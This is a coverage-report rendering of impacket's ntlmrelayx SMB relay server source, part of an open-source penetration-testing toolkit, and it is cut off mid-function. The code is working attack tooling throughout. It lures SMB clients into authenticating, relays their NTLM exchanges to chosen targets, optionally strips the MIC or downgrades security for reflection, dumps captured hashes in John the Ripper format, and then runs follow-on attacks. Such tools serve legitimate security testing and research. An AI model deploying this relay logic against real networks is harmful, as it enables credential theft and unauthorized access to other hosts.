Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/smbrelayserver.py : 7%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# SMB Relay Server
8#
9# Authors:
10# Alberto Solino (@agsolino)
11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12#
13# Description:
14# This is the SMB server which relays the connections
15# to other protocols
16from __future__ import division
17from __future__ import print_function
18from threading import Thread
19try:
20 import ConfigParser
21except ImportError:
22 import configparser as ConfigParser
23import struct
24import logging
25import time
26import calendar
27import random
28import string
29import socket
30import ntpath
32from binascii import hexlify, unhexlify
33from six import b
34from impacket import smb, ntlm, LOG, smb3
35from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED
36from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
37from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
38from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH
39from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
40from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
41from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString
43class SMBRelayServer(Thread):
44 def __init__(self,config):
45 Thread.__init__(self)
46 self.daemon = True
47 self.server = 0
48 #Config object
49 self.config = config
50 #Current target IP
51 self.target = None
52 #Targets handler
53 self.targetprocessor = self.config.target
54 #Username we auth as gets stored here later
55 self.authUser = None
56 self.proxyTranslator = None
58 # Here we write a mini config for the server
59 smbConfig = ConfigParser.ConfigParser()
60 smbConfig.add_section('global')
61 smbConfig.set('global','server_name','server_name')
62 smbConfig.set('global','server_os','UNIX')
63 smbConfig.set('global','server_domain','WORKGROUP')
64 smbConfig.set('global','log_file','smb.log')
65 smbConfig.set('global','credentials_file','')
67 if self.config.smb2support is True:
68 smbConfig.set("global", "SMB2Support", "True")
69 else:
70 smbConfig.set("global", "SMB2Support", "False")
72 if self.config.outputFile is not None:
73 smbConfig.set('global','jtr_dump_path',self.config.outputFile)
75 if self.config.SMBServerChallenge is not None:
76 smbConfig.set('global', 'challenge', self.config.SMBServerChallenge)
78 # IPC always needed
79 smbConfig.add_section('IPC$')
80 smbConfig.set('IPC$','comment','')
81 smbConfig.set('IPC$','read only','yes')
82 smbConfig.set('IPC$','share type','3')
83 smbConfig.set('IPC$','path','')
85 # Change address_family to IPv6 if this is configured
86 if self.config.ipv6:
87 SMBSERVER.address_family = socket.AF_INET6
89 # changed to dereference configuration interfaceIp
90 if self.config.listeningPort:
91 smbport = self.config.listeningPort
92 else:
93 smbport = 445
95 self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig)
96 logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)
98 self.server.processConfigFile()
100 self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
101 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
102 self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
104 self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
105 self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
106 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)
107 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
108 #TODO: See if this is the best way to accomplish this
110 # changed to dereference configuration interfaceIp
111 self.server.addConnection('SMBRelay', config.interfaceIp, 445)
113 ### SMBv2 Part #################################################################
114 def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
115 connData = smbServer.getConnectionData(connId, checkStatus=False)
117 respPacket = smb3.SMB2Packet()
118 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
119 respPacket['Status'] = STATUS_SUCCESS
120 respPacket['CreditRequestResponse'] = 1
121 respPacket['Command'] = smb3.SMB2_NEGOTIATE
122 respPacket['SessionID'] = 0
124 if isSMB1 is False:
125 respPacket['MessageID'] = recvPacket['MessageID']
126 else:
127 respPacket['MessageID'] = 0
129 respPacket['TreeID'] = 0
131 respSMBCommand = smb3.SMB2Negotiate_Response()
133 # Just for the Nego Packet, then disable it
134 respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
136 if isSMB1 is True:
137 # Let's first parse the packet to see if the client supports SMB2
138 SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
140 dialects = SMBCommand['Data'].split(b'\x02')
141 if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
142 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
143 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
144 else:
145 # Client does not support SMB2 fallbacking
146 raise Exception('Client does not support SMB2, fallbacking')
147 else:
148 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
149 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
151 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
152 respSMBCommand['Capabilities'] = 0
153 respSMBCommand['MaxTransactSize'] = 65536
154 respSMBCommand['MaxReadSize'] = 65536
155 respSMBCommand['MaxWriteSize'] = 65536
156 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
157 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
158 respSMBCommand['SecurityBufferOffset'] = 0x80
160 blob = SPNEGO_NegTokenInit()
161 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
162 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
165 respSMBCommand['Buffer'] = blob.getData()
166 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
168 respPacket['Data'] = respSMBCommand
170 smbServer.setConnectionData(connId, connData)
172 return None, [respPacket], STATUS_SUCCESS
175 def SmbSessionSetup(self, connId, smbServer, recvPacket):
176 connData = smbServer.getConnectionData(connId, checkStatus = False)
178 #############################################################
179 # SMBRelay
180 # Are we ready to relay or should we just do local auth?
181 if 'relayToHost' not in connData:
182 # Just call the original SessionSetup
183 respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)
184 # We remove the Guest flag
185 if 'SessionFlags' in respCommands[0].fields:
186 respCommands[0]['SessionFlags'] = 0x00
187 return respCommands, respPackets, errorCode
189 # We have confirmed we want to relay to the target host.
190 respSMBCommand = smb3.SMB2SessionSetup_Response()
191 sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
193 connData['Capabilities'] = sessionSetupData['Capabilities']
195 securityBlob = sessionSetupData['Buffer']
197 rawNTLM = False
198 if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:
199 # NEGOTIATE packet
200 blob = SPNEGO_NegTokenInit(securityBlob)
201 token = blob['MechToken']
202 if len(blob['MechTypes'][0]) > 0:
203 # Is this GSSAPI NTLM or something else we don't support?
204 mechType = blob['MechTypes'][0]
205 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
206 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
207 # Nope, do we know it?
208 if mechType in MechTypes:
209 mechStr = MechTypes[mechType]
210 else:
211 mechStr = hexlify(mechType)
212 smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
213 # We don't know the token, we answer back again saying
214 # we just support NTLM.
215 respToken = SPNEGO_NegTokenResp()
216 respToken['NegState'] = b'\x03' # request-mic
217 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
218 respToken = respToken.getData()
219 respSMBCommand['SecurityBufferOffset'] = 0x48
220 respSMBCommand['SecurityBufferLength'] = len(respToken)
221 respSMBCommand['Buffer'] = respToken
223 return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
224 elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
225 # AUTH packet
226 blob = SPNEGO_NegTokenResp(securityBlob)
227 token = blob['ResponseToken']
228 else:
229 # No GSSAPI stuff, raw NTLMSSP
230 rawNTLM = True
231 token = securityBlob
233 # Here we only handle NTLMSSP, depending on what stage of the
234 # authentication we are, we act on it
235 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
237 if messageType == 0x01:
238 # NEGOTIATE_MESSAGE
239 negotiateMessage = ntlm.NTLMAuthNegotiate()
240 negotiateMessage.fromString(token)
241 # Let's store it in the connection data
242 connData['NEGOTIATE_MESSAGE'] = negotiateMessage
244 #############################################################
245 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
246 # Let's send it to the target server and send the answer back to the client.
247 client = connData['SMBClient']
248 try:
249 challengeMessage = self.do_ntlm_negotiate(client, token)
250 except Exception as e:
251 LOG.debug("Exception:", exc_info=True)
252 # Log this target as processed for this client
253 self.targetprocessor.logTarget(self.target)
254 # Raise exception again to pass it on to the SMB server
255 raise
257 #############################################################
259 if rawNTLM is False:
260 respToken = SPNEGO_NegTokenResp()
261 # accept-incomplete. We want more data
262 respToken['NegState'] = b'\x01'
263 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
265 respToken['ResponseToken'] = challengeMessage.getData()
266 else:
267 respToken = challengeMessage
269 # Setting the packet to STATUS_MORE_PROCESSING
270 errorCode = STATUS_MORE_PROCESSING_REQUIRED
271 # Let's set up an UID for this connection and store it
272 # in the connection's data
273 connData['Uid'] = random.randint(1,0xffffffff)
275 connData['CHALLENGE_MESSAGE'] = challengeMessage
277 elif messageType == 0x02:
278 # CHALLENGE_MESSAGE
279 raise Exception('Challenge Message raise, not implemented!')
281 elif messageType == 0x03:
282 # AUTHENTICATE_MESSAGE, here we deal with authentication
283 #############################################################
284 # SMBRelay: Ok, so now the have the Auth token, let's send it
285 # back to the target system and hope for the best.
286 client = connData['SMBClient']
287 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
288 authenticateMessage.fromString(token)
289 if authenticateMessage['user_name'] != '':
290 # For some attacks it is important to know the authenticated username, so we store it
292 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
293 authenticateMessage['user_name'].decode('utf-16le'))).upper()
295 if rawNTLM is True:
296 respToken2 = SPNEGO_NegTokenResp()
297 respToken2['ResponseToken'] = securityBlob
298 securityBlob = respToken2.getData()
300 if self.config.remove_mic:
301 clientResponse, errorCode = self.do_ntlm_auth(client, token,
302 connData['CHALLENGE_MESSAGE']['challenge'])
303 else:
304 clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
305 connData['CHALLENGE_MESSAGE']['challenge'])
306 else:
307 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
308 errorCode = STATUS_ACCESS_DENIED
310 if errorCode != STATUS_SUCCESS:
311 #Log this target as processed for this client
312 self.targetprocessor.logTarget(self.target)
313 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
314 client.killConnection()
315 else:
316 # We have a session, create a thread and do whatever we want
317 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
318 # Log this target as processed for this client
319 self.targetprocessor.logTarget(self.target, True, self.authUser)
321 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
322 authenticateMessage['user_name'],
323 authenticateMessage['domain_name'], authenticateMessage['lanman'],
324 authenticateMessage['ntlm'])
325 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
327 if self.server.getJTRdumpPath() != '':
328 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
329 self.server.getJTRdumpPath())
331 connData['Authenticated'] = True
332 del(connData['relayToHost'])
334 self.do_attack(client)
335 # Now continue with the server
336 #############################################################
338 if rawNTLM is False:
339 respToken = SPNEGO_NegTokenResp()
340 # accept-completed
341 respToken['NegState'] = b'\x00'
342 else:
343 respToken = ''
344 # Let's store it in the connection data
345 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
346 else:
347 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
349 respSMBCommand['SecurityBufferOffset'] = 0x48
350 respSMBCommand['SecurityBufferLength'] = len(respToken)
351 if respSMBCommand['SecurityBufferLength'] > 0:
352 respSMBCommand['Buffer'] = respToken.getData()
353 else:
354 respSMBCommand['Buffer'] = ''
356 smbServer.setConnectionData(connId, connData)
358 return [respSMBCommand], None, errorCode
360 def smb2TreeConnect(self, connId, smbServer, recvPacket):
361 connData = smbServer.getConnectionData(connId)
363 authenticateMessage = connData['AUTHENTICATE_MESSAGE']
365 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
366 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
368 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
369 # are processed. There might be a use case for this
370 #if 'relayToHost' in connData:
371 # # Connection already relayed, let's just answer the request (that will return object not found)
372 # return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
374 try:
375 if self.config.mode.upper () == 'REFLECTION':
376 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
377 if self.authUser == '/':
378 LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
379 (connId, connData['ClientIP']))
380 return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
381 self.target = self.targetprocessor.getTarget(identity = self.authUser)
382 if self.target is None:
383 # No more targets to process, just let the victim to fail later
384 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
385 (connId, self.authUser, connData['ClientIP']))
386 return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
388 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser,
389 connData['ClientIP'], self.target.scheme, self.target.netloc))
391 if self.config.mode.upper() == 'REFLECTION':
392 # Force standard security when doing reflection
393 LOG.debug("Downgrading to standard security")
394 extSec = False
395 #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
396 else:
397 extSec = True
398 # Init the correct client for our target
399 client = self.init_client(extSec)
400 except Exception as e:
401 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
402 self.targetprocessor.logTarget(self.target)
403 else:
404 connData['relayToHost'] = True
405 connData['Authenticated'] = False
406 del (connData['NEGOTIATE_MESSAGE'])
407 del (connData['CHALLENGE_MESSAGE'])
408 del (connData['AUTHENTICATE_MESSAGE'])
409 connData['SMBClient'] = client
410 connData['EncryptionKey'] = client.getStandardSecurityChallenge()
411 smbServer.setConnectionData(connId, connData)
413 respPacket = smb3.SMB2Packet()
414 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
415 respPacket['Status'] = STATUS_SUCCESS
416 respPacket['CreditRequestResponse'] = 1
417 respPacket['Command'] = recvPacket['Command']
418 respPacket['SessionID'] = connData['Uid']
419 respPacket['Reserved'] = recvPacket['Reserved']
420 respPacket['MessageID'] = recvPacket['MessageID']
421 respPacket['TreeID'] = recvPacket['TreeID']
423 respSMBCommand = smb3.SMB2TreeConnect_Response()
425 # This is the key, force the client to reconnect.
426 # It will loop until all targets are processed for this user
427 errorCode = STATUS_NETWORK_SESSION_EXPIRED
430 respPacket['Status'] = errorCode
431 respSMBCommand['Capabilities'] = 0
432 respSMBCommand['MaximalAccess'] = 0x000f01ff
434 respPacket['Data'] = respSMBCommand
436 # Sign the packet if needed
437 if connData['SignatureEnabled']:
438 smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])
440 smbServer.setConnectionData(connId, connData)
442 return None, [respPacket], errorCode
444 ################################################################################
446 ### SMBv1 Part #################################################################
447 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
448 connData = smbServer.getConnectionData(connId, checkStatus = False)
449 if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
450 if self.config.mode.upper() == 'REFLECTION':
451 # Force standard security when doing reflection
452 LOG.debug("Downgrading to standard security")
453 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
455 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
456 #############################################################
458 def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
460 connData = smbServer.getConnectionData(connId, checkStatus = False)
462 #############################################################
463 # SMBRelay
464 # Are we ready to relay or should we just do local auth?
465 if 'relayToHost' not in connData:
466 # Just call the original SessionSetup
467 return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
469 # We have confirmed we want to relay to the target host.
470 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
472 if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
473 # Extended security. Here we deal with all SPNEGO stuff
474 respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
475 respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
476 sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
477 sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
478 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
479 sessionSetupData.fromString(SMBCommand['Data'])
480 connData['Capabilities'] = sessionSetupParameters['Capabilities']
482 rawNTLM = False
483 if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
484 # If there no GSSAPI ID, it must be an AUTH packet
485 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
486 token = blob['ResponseToken']
487 else:
488 # NEGOTIATE packet
489 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
490 token = blob['MechToken']
492 # Here we only handle NTLMSSP, depending on what stage of the
493 # authentication we are, we act on it
494 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
496 if messageType == 0x01:
497 # NEGOTIATE_MESSAGE
498 negotiateMessage = ntlm.NTLMAuthNegotiate()
499 negotiateMessage.fromString(token)
500 # Let's store it in the connection data
501 connData['NEGOTIATE_MESSAGE'] = negotiateMessage
503 #############################################################
504 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
505 # Let's send it to the target server and send the answer back to the client.
506 client = connData['SMBClient']
507 try:
508 challengeMessage = self.do_ntlm_negotiate(client,token)
509 except Exception:
510 # Log this target as processed for this client
511 self.targetprocessor.logTarget(self.target)
512 # Raise exception again to pass it on to the SMB server
513 raise
515 #############################################################
517 respToken = SPNEGO_NegTokenResp()
518 # accept-incomplete. We want more data
519 respToken['NegState'] = b'\x01'
520 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
521 respToken['ResponseToken'] = challengeMessage.getData()
523 # Setting the packet to STATUS_MORE_PROCESSING
524 errorCode = STATUS_MORE_PROCESSING_REQUIRED
526 # Let's set up an UID for this connection and store it
527 # in the connection's data
528 # Picking a fixed value
529 # TODO: Manage more UIDs for the same session
530 connData['Uid'] = 10
532 connData['CHALLENGE_MESSAGE'] = challengeMessage
534 elif messageType == 0x03:
535 # AUTHENTICATE_MESSAGE, here we deal with authentication
536 #############################################################
537 # SMBRelay: Ok, so now the have the Auth token, let's send it
538 # back to the target system and hope for the best.
539 client = connData['SMBClient']
540 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
541 authenticateMessage.fromString(token)
543 if authenticateMessage['user_name'] != '':
544 #For some attacks it is important to know the authenticated username, so we store it
545 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
546 authenticateMessage['user_name'].decode('utf-16le'))).upper()
548 clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
549 connData['CHALLENGE_MESSAGE']['challenge'])
550 else:
551 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
552 errorCode = STATUS_ACCESS_DENIED
554 if errorCode != STATUS_SUCCESS:
555 # Let's return what the target returned, hope the client connects back again
556 packet = smb.NewSMBPacket()
557 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
558 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
559 packet['Command'] = recvPacket['Command']
560 packet['Pid'] = recvPacket['Pid']
561 packet['Tid'] = recvPacket['Tid']
562 packet['Mid'] = recvPacket['Mid']
563 packet['Uid'] = recvPacket['Uid']
564 packet['Data'] = b'\x00\x00\x00'
565 packet['ErrorCode'] = errorCode >> 16
566 packet['ErrorClass'] = errorCode & 0xff
568 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
570 #Log this target as processed for this client
571 self.targetprocessor.logTarget(self.target)
573 client.killConnection()
575 return None, [packet], errorCode
576 else:
577 # We have a session, create a thread and do whatever we want
578 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
580 # Log this target as processed for this client
581 self.targetprocessor.logTarget(self.target, True, self.authUser)
583 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
584 authenticateMessage['user_name'],
585 authenticateMessage['domain_name'],
586 authenticateMessage['lanman'], authenticateMessage['ntlm'])
587 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
589 if self.server.getJTRdumpPath() != '':
590 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
591 self.server.getJTRdumpPath())
593 self.do_attack(client)
594 # Now continue with the server
595 #############################################################
597 respToken = SPNEGO_NegTokenResp()
598 # accept-completed
599 respToken['NegState'] = b'\x00'
601 # Done with the relay for now.
602 connData['Authenticated'] = True
603 del(connData['relayToHost'])
605 # Status SUCCESS
606 errorCode = STATUS_SUCCESS
607 # Let's store it in the connection data
608 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
609 else:
610 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
612 respParameters['SecurityBlobLength'] = len(respToken)
614 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
615 respData['SecurityBlob'] = respToken.getData()
617 else:
618 # Process Standard Security
619 #TODO: Fix this for other protocols than SMB [!]
620 respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
621 respData = smb.SMBSessionSetupAndXResponse_Data()
622 sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
623 sessionSetupData = smb.SMBSessionSetupAndX_Data()
624 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
625 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
626 sessionSetupData.fromString(SMBCommand['Data'])
628 client = connData['SMBClient']
629 _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
631 if errorCode != STATUS_SUCCESS:
632 # Let's return what the target returned, hope the client connects back again
633 packet = smb.NewSMBPacket()
634 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
635 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
636 packet['Command'] = recvPacket['Command']
637 packet['Pid'] = recvPacket['Pid']
638 packet['Tid'] = recvPacket['Tid']
639 packet['Mid'] = recvPacket['Mid']
640 packet['Uid'] = recvPacket['Uid']
641 packet['Data'] = b'\x00\x00\x00'
642 packet['ErrorCode'] = errorCode >> 16
643 packet['ErrorClass'] = errorCode & 0xff
645 #Log this target as processed for this client
646 self.targetprocessor.logTarget(self.target)
648 # Finish client's connection
649 #client.killConnection()
651 return None, [packet], errorCode
652 else:
653 # We have a session, create a thread and do whatever we want
654 self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()
655 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
657 # Log this target as processed for this client
658 self.targetprocessor.logTarget(self.target, True, self.authUser)
660 ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
661 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
662 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
664 if self.server.getJTRdumpPath() != '':
665 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
666 self.server.getJTRdumpPath())
668 # Done with the relay for now.
669 connData['Authenticated'] = True
670 del(connData['relayToHost'])
671 self.do_attack(client)
672 # Now continue with the server
673 #############################################################
675 respData['NativeOS'] = smbServer.getServerOS()
676 respData['NativeLanMan'] = smbServer.getServerOS()
677 respSMBCommand['Parameters'] = respParameters
678 respSMBCommand['Data'] = respData
681 smbServer.setConnectionData(connId, connData)
683 return [respSMBCommand], None, errorCode
685 def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
686 connData = smbServer.getConnectionData(connId)
688 authenticateMessage = connData['AUTHENTICATE_MESSAGE']
689 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
690 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
692 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
693 # are processed. There might be a use case for this
694 #if 'relayToHost' in connData:
695 # # Connection already relayed, let's just answer the request (that will return object not found)
696 # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
698 try:
699 if self.config.mode.upper () == 'REFLECTION':
700 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
701 if self.authUser == '/':
702 LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
703 (connId, connData['ClientIP']))
704 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
705 self.target = self.targetprocessor.getTarget(identity = self.authUser)
706 if self.target is None:
707 # No more targets to process, just let the victim to fail later
708 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
709 (connId, self.authUser, connData['ClientIP']))
710 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
712 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser,
713 connData['ClientIP'], self.target.scheme, self.target.netloc))
715 if self.config.mode.upper() == 'REFLECTION':
716 # Force standard security when doing reflection
717 LOG.debug("Downgrading to standard security")
718 extSec = False
719 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
720 else:
721 extSec = True
722 # Init the correct client for our target
723 client = self.init_client(extSec)
724 except Exception as e:
725 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
726 self.targetprocessor.logTarget(self.target)
727 else:
728 connData['relayToHost'] = True
729 connData['Authenticated'] = False
730 del (connData['NEGOTIATE_MESSAGE'])
731 del (connData['CHALLENGE_MESSAGE'])
732 del (connData['AUTHENTICATE_MESSAGE'])
733 connData['SMBClient'] = client
734 connData['EncryptionKey'] = client.getStandardSecurityChallenge()
735 smbServer.setConnectionData(connId, connData)
737 resp = smb.NewSMBPacket()
738 resp['Flags1'] = smb.SMB.FLAGS1_REPLY
739 resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
740 recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
742 resp['Tid'] = recvPacket['Tid']
743 resp['Mid'] = recvPacket['Mid']
744 resp['Pid'] = connData['Pid']
746 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
747 respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
748 respData = smb.SMBTreeConnectAndXResponse_Data()
750 treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
752 if treeConnectAndXParameters['Flags'] & 0x8:
753 respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
755 treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
756 treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
757 treeConnectAndXData.fromString(SMBCommand['Data'])
759 ## Process here the request, does the share exist?
760 UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
762 # Is this a UNC?
763 if ntpath.ismount(UNCOrShare):
764 path = UNCOrShare.split('\\')[3]
765 else:
766 path = ntpath.basename(UNCOrShare)
768 # This is the key, force the client to reconnect.
769 # It will loop until all targets are processed for this user
770 errorCode = STATUS_NETWORK_SESSION_EXPIRED
771 resp['ErrorCode'] = errorCode >> 16
772 resp['_reserved'] = 0o3
773 resp['ErrorClass'] = errorCode & 0xff
775 if path == 'IPC$':
776 respData['Service'] = 'IPC'
777 else:
